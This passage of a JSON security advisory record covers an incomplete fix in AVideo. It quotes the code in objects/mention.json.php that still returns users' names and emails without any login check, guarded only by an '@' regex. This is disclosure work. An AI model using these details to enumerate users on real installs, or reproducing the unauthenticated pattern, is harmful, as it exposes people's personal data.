  "details": "CVE-2026-43881 fix `d9cdc7024` patched `users.json.php` only. The same anti-pattern survives at master HEAD in:\n\n```\nobjects/mention.json.php:17     $ignoreAdmin = true;\nobjects/mention.json.php:18     $users = User::getAllUsers($ignoreAdmin,\n                                    [\u0027name\u0027, \u0027email\u0027, \u0027user\u0027, \u0027channelName\u0027], \u0027a\u0027);\n```\n\nNo `User::loginCheck()`, no admin gate. Only entry guard: `preg_match(\u0027/^@/\u0027, $_REQUEST[\u0027term\u0027])` and hard-coded `rowCount=10`.",
  "id": "GHSA-vpfx-pxqw-2w79",
  "modified": "2026-06-09T10:28:13Z",
  "published": "2026-05-18T13:30:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vpfx-pxqw-2w79"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45620"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6rvw-7p8v-mjfq"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo CVE-2026-43881 incomplete fix - `objects/mention.json.php:17` is an unauthenticated user enumeration sibling that survives `d9cdc7024`"
}